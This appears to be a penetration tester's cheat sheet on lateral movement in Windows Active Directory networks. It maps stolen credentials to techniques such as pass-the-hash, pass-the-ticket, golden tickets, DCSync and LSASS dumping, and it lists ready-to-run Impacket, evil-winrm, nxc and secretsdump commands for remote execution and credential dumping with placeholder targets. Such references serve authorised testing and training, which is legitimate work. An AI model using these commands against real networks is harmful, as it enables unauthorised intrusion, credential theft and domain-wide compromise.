Lateral Movement
External: Internal All The Things — Pass the Hash
Move from one compromised host/credential to others on the network.
Before moving: What artifact do you have? → Credential Graph (PtH? TGT? DCSync?)
📌 Techniques
| Technique | When | Tools |
|---|---|---|
| Pass-the-Hash (PtH) | NTLM hash, no plaintext | Impacket psexec/wmiexec, CrackMapExec - nxc, evil-winrm -H |
| Pass-the-Ticket (PtT) | .kirbi / .ccache | Rubeus ptt · export KRB5CCNAME= · Impacket -k |
| Overpass-the-Hash | NTLM → Kerberos TGT | Rubeus · Mimikatz |
| Password reuse | Cleartext password | nxcspray · Hydra · CrackMapExec - nxc spray · RunasCs on Windows shell |
| Browser saved logins | Shell on user workstation | Firefox Credentials - firefox_decrypt · nxc -M firefox |
| Credential dump | Admin on box | LSASS · Mimikatz · secretsdump · CrackMapExec - nxc -M lsassy |
| Pivot / tunnel | Reach internal nets | Chisel · SSH Tunneling · Ligolo-ng · Tunneling |
📌 Credential → Lateral Action
NTLM Hash → PtH SMB/WinRM/WMI → [[Remote Execution]]
TGT / TGS → Kerberos auth → [[Impacket]] -k -no-pass
Password → Login + reuse → [[nxcspray]] · [[evil-winrm]] · [[RunasCs]] · [[SSH]] · [[smbclient]]
KRBTGT → Golden ticket → [[Rubeus]] · domain-wide access
DCSync rights → Dump all hashes → [[secretsdump]] → PtH everywhere
Local Admin → Dump LSASS on host → [[Mimikatz]] → more hashesFull graph: Credential Graph
📌 Common Commands
# PtH — Impacket
impacket-wmiexec -hashes :NTLM_HASH domain/user@TARGET
impacket-psexec -hashes :NTLM_HASH domain/user@TARGET
# PtH — WinRM
evil-winrm -i TARGET -u user -H NTLM_HASH
# PtH — nxc
nxc smb TARGETS -u user -H NTLM_HASH --local-auth
nxc winrm TARGET -u user -H NTLM_HASH
# Remote dump
impacket-secretsdump domain/user:pass@DC_IP
impacket-secretsdump -hashes :HASH domain/user@DC_IP
# Kerberos ticket
export KRB5CCNAME=/path/to/admin.ccache
impacket-wmiexec -k -no-pass domain/admin@TARGET📌 Pivot First?
If target is on another subnet → Tunneling before lateral movement:
- Chisel / SSH Tunneling / Ligolo-ng
- Update
/etc/hosts/ proxychains - PtH / PtT to internal hosts
Related Tools
- Impacket
- CrackMapExec - nxc
- nxcspray
- evil-winrm
- Mimikatz
- secretsdump
- Chisel
- RunasCs
- Rubeus
- Responder